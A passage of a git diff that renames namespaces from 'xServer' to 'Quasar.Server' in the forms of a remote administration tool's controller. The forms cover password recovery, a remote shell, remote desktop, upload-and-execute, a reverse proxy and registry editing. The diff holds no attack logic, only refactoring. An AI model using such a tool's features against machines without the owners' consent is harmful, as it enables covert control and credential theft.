@@ -72,7 +74,7 @@ private void InitializeComponent() this.saveToFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.saveAllToolStripMenuItem, this.saveSelectedToolStripMenuItem}); - this.saveToFileToolStripMenuItem.Image = global::xServer.Properties.Resources.save; + this.saveToFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.save; this.saveToFileToolStripMenuItem.Name = "saveToFileToolStripMenuItem"; this.saveToFileToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.saveToFileToolStripMenuItem.Text = "Save to File"; @@ -96,7 +98,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -125,7 +127,7 @@ private void InitializeComponent() this.clearToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.clearAllToolStripMenuItem, this.clearSelectedToolStripMenuItem}); - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.clearToolStripMenuItem.Text = "Clear"; @@ -146,7 +148,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs index 5575f12f3..933b42c6e 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs @@ -1,17 +1,17 @@ -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmPasswordRecovery : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs index 5e3623eb9..ce14d4323 100644 --- a/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditBinary { @@ -33,7 +35,7 @@ private void InitializeComponent() this.label2 = new System.Windows.Forms.Label(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); - this.hexEditor = new xServer.Controls.HexEditor.HexEditor(); + this.hexEditor = new HexEditor(); this.SuspendLayout(); // // valueNameTxtBox diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs index bd38d3840..cf92c8932 100644 --- a/Quasar.Server/Forms/FrmRegValueEditBinary.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using System; +using System; using System.Windows.Forms; -using xServer.Core.Registry; +using Quasar.Common.Models; +using Quasar.Server.Core.Registry; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditBinary : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs index d7e838a3b..0f3816802 100644 --- a/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditMultiString { diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs index 632b776b6..7d68517ed 100644 --- a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditMultiString : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs index 6a3bdb62f..4fdef39b4 100644 --- a/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditString { diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs index 728efe02b..3cc86f068 100644 --- a/Quasar.Server/Forms/FrmRegValueEditString.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Windows.Forms; -using xServer.Core.Registry; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Core.Registry; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditString : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs index 871842a38..62aefd5e1 100644 --- a/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -1,4 +1,7 @@ -namespace xServer.Forms +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditWord { @@ -37,7 +40,7 @@ private void InitializeComponent() this.baseBox = new System.Windows.Forms.GroupBox(); this.radioDecimal = new System.Windows.Forms.RadioButton(); this.radioHexa = new System.Windows.Forms.RadioButton(); - this.valueDataTxtBox = new xServer.Controls.WordTextBox(); + this.valueDataTxtBox = new WordTextBox(); this.baseBox.SuspendLayout(); this.SuspendLayout(); // @@ -143,7 +146,7 @@ private void InitializeComponent() this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); this.valueDataTxtBox.TabIndex = 0; this.valueDataTxtBox.Text = "0"; - this.valueDataTxtBox.Type = xServer.Enums.WordType.DWORD; + this.valueDataTxtBox.Type = WordType.DWORD; // // FrmRegValueEditWord // diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs index fb81117b6..a8745c1d1 100644 --- a/Quasar.Server/Forms/FrmRegValueEditWord.cs +++ b/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -1,11 +1,11 @@ -using Microsoft.Win32; +using System; +using System.Windows.Forms; +using Microsoft.Win32; using Quasar.Common.Models; using Quasar.Common.Utilities; -using System; -using System.Windows.Forms; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditWord : Form { diff --git a/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs index 5cd171a59..56c1e05cb 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRegistryEditor { @@ -84,8 +86,8 @@ private void InitializeComponent() this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); - this.lstRegistryValues = new xServer.Controls.AeroListView(); + this.tvRegistryDirectory = new RegistryTreeView(); + this.lstRegistryValues = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs index bb8518cb6..ea15d8437 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -1,20 +1,20 @@ -using Microsoft.Win32; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Controls; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Registry; + +namespace Quasar.Server.Forms { public partial class FrmRegistryEditor : Form { diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs index f03ab8f57..96b8ffedc 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRemoteDesktop { @@ -42,7 +44,7 @@ private void InitializeComponent() this.btnHide = new System.Windows.Forms.Button(); this.btnShow = new System.Windows.Forms.Button(); this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); - this.picDesktop = new xServer.Controls.RapidPictureBox(); + this.picDesktop = new RapidPictureBox(); ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); this.panelTop.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); @@ -103,7 +105,7 @@ private void InitializeComponent() // // btnMouse // - this.btnMouse.Image = global::xServer.Properties.Resources.mouse_delete; + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; this.btnMouse.Location = new System.Drawing.Point(302, 5); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(28, 28); @@ -132,7 +134,7 @@ private void InitializeComponent() // // btnKeyboard // - this.btnKeyboard.Image = global::xServer.Properties.Resources.keyboard_delete; + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; this.btnKeyboard.Location = new System.Drawing.Point(336, 5); this.btnKeyboard.Name = "btnKeyboard"; this.btnKeyboard.Size = new System.Drawing.Size(28, 28); diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs index 5a0c188d7..d403dc092 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -1,16 +1,16 @@ -using Gma.System.MouseKeyHook; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Utilities; +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRemoteDesktop : Form { diff --git a/Quasar.Server/Forms/FrmRemoteShell.Designer.cs b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs index 22f4fff0d..ae2f3ac21 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRemoteShell { diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs index e619e46b1..cffe6bd25 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.cs @@ -1,13 +1,13 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRemoteShell : Form { diff --git a/Quasar.Server/Forms/FrmReverseProxy.Designer.cs b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs index 4b7aaf2ca..bcde0caf2 100644 --- a/Quasar.Server/Forms/FrmReverseProxy.Designer.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmReverseProxy { @@ -43,7 +43,7 @@ private void InitializeComponent() this.lblProxyInfo = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.lblLoadBalance = new System.Windows.Forms.Label(); - this.lstConnections = new xServer.Controls.AeroListView(); + this.lstConnections = new AeroListView(); this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/Quasar.Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs index 4cbabf4ea..f2fc5102f 100644 --- a/Quasar.Server/Forms/FrmReverseProxy.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.cs @@ -1,15 +1,15 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy; - -namespace xServer.Forms +using Quasar.Common.Messages; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.ReverseProxy; + +namespace Quasar.Server.Forms { public partial class FrmReverseProxy : Form { diff --git a/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs index cbf2db57a..244cd4ebe 100644 --- a/Quasar.Server/Forms/FrmSettings.Designer.cs +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSettings { diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs index 81393364d..a5068ddcd 100644 --- a/Quasar.Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -1,13 +1,13 @@ using System; using System.Globalization; using System.Windows.Forms; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Networking.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmSettings : Form { diff --git a/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs index 27d0a8fbb..c24fe64fd 100644 --- a/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmShowMessagebox { diff --git a/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs index 26d1c140a..619baf154 100644 --- a/Quasar.Server/Forms/FrmShowMessagebox.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmShowMessagebox : Form { diff --git a/Quasar.Server/Forms/FrmStartupAdd.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs index bb0742f36..ab948391f 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmStartupAdd { diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs index be334726f..982bd0e05 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.IO; using System.Windows.Forms; using Quasar.Common.Enums; -using xServer.Core.Helper; +using Quasar.Common.Models; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmStartupAdd : Form { diff --git a/Quasar.Server/Forms/FrmStartupManager.Designer.cs b/Quasar.Server/Forms/FrmStartupManager.Designer.cs index f7049d61f..ec9f04674 100644 --- a/Quasar.Server/Forms/FrmStartupManager.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupManager.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmStartupManager { @@ -33,7 +35,7 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.lstStartupItems = new xServer.Controls.AeroListView(); + this.lstStartupItems = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip.SuspendLayout(); @@ -49,7 +51,7 @@ private void InitializeComponent() // // addEntryToolStripMenuItem // - this.addEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem"; this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.addEntryToolStripMenuItem.Text = "Add Entry"; @@ -57,7 +59,7 @@ private void InitializeComponent() // // removeEntryToolStripMenuItem // - this.removeEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_delete; + this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete; this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem"; this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.removeEntryToolStripMenuItem.Text = "Remove Entry"; diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index d4f7b888e..b1c5c956f 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -1,15 +1,15 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmStartupManager : Form { diff --git a/Quasar.Server/Forms/FrmSystemInformation.Designer.cs b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs index abf44e9e8..f89e1014a 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.Designer.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSystemInformation { @@ -32,7 +32,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); - this.lstSystem = new xServer.Controls.AeroListView(); + this.lstSystem = new AeroListView(); this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -86,7 +86,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -112,7 +112,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs index 6a3028aa2..5a1ca0945 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.cs @@ -1,14 +1,14 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmSystemInformation : Form { diff --git a/Quasar.Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs index 6f1d682ad..0b09ed358 100644 --- a/Quasar.Server/Forms/FrmTaskManager.Designer.cs +++ b/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmTaskManager { @@ -38,7 +38,7 @@ private void InitializeComponent() this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); - this.lstTasks = new xServer.Controls.AeroListView(); + this.lstTasks = new AeroListView(); this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -61,7 +61,7 @@ private void InitializeComponent() // // killProcessToolStripMenuItem // - this.killProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem"; this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.killProcessToolStripMenuItem.Text = "Kill Process"; @@ -69,7 +69,7 @@ private void InitializeComponent() // // startProcessToolStripMenuItem // - this.startProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.run; this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem"; this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.startProcessToolStripMenuItem.Text = "Start Process"; @@ -82,7 +82,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index 7cc8e781d..a6f2d0264 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -1,14 +1,14 @@ -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmTaskManager : Form { diff --git a/Quasar.Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmUpdate.Designer.cs index 775c9c4a9..d25657d4e 100644 --- a/Quasar.Server/Forms/FrmUpdate.Designer.cs +++ b/Quasar.Server/Forms/FrmUpdate.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmUpdate { diff --git a/Quasar.Server/Forms/FrmUpdate.cs b/Quasar.Server/Forms/FrmUpdate.cs index 1582a9085..6c0285c6d 100644 --- a/Quasar.Server/Forms/FrmUpdate.cs +++ b/Quasar.Server/Forms/FrmUpdate.cs @@ -1,9 +1,9 @@ using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmUpdate : Form { diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs index 513ad745e..b1bf1dead 100644 --- a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs +++ b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmUploadAndExecute { diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.cs b/Quasar.Server/Forms/FrmUploadAndExecute.cs index 099566fda..de67e889f 100644 --- a/Quasar.Server/Forms/FrmUploadAndExecute.cs +++ b/Quasar.Server/Forms/FrmUploadAndExecute.cs @@ -1,9 +1,9 @@ using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmUploadAndExecute : Form { diff --git a/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs index 04610c7ea..0bdf6854c 100644 --- a/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmVisitWebsite { diff --git 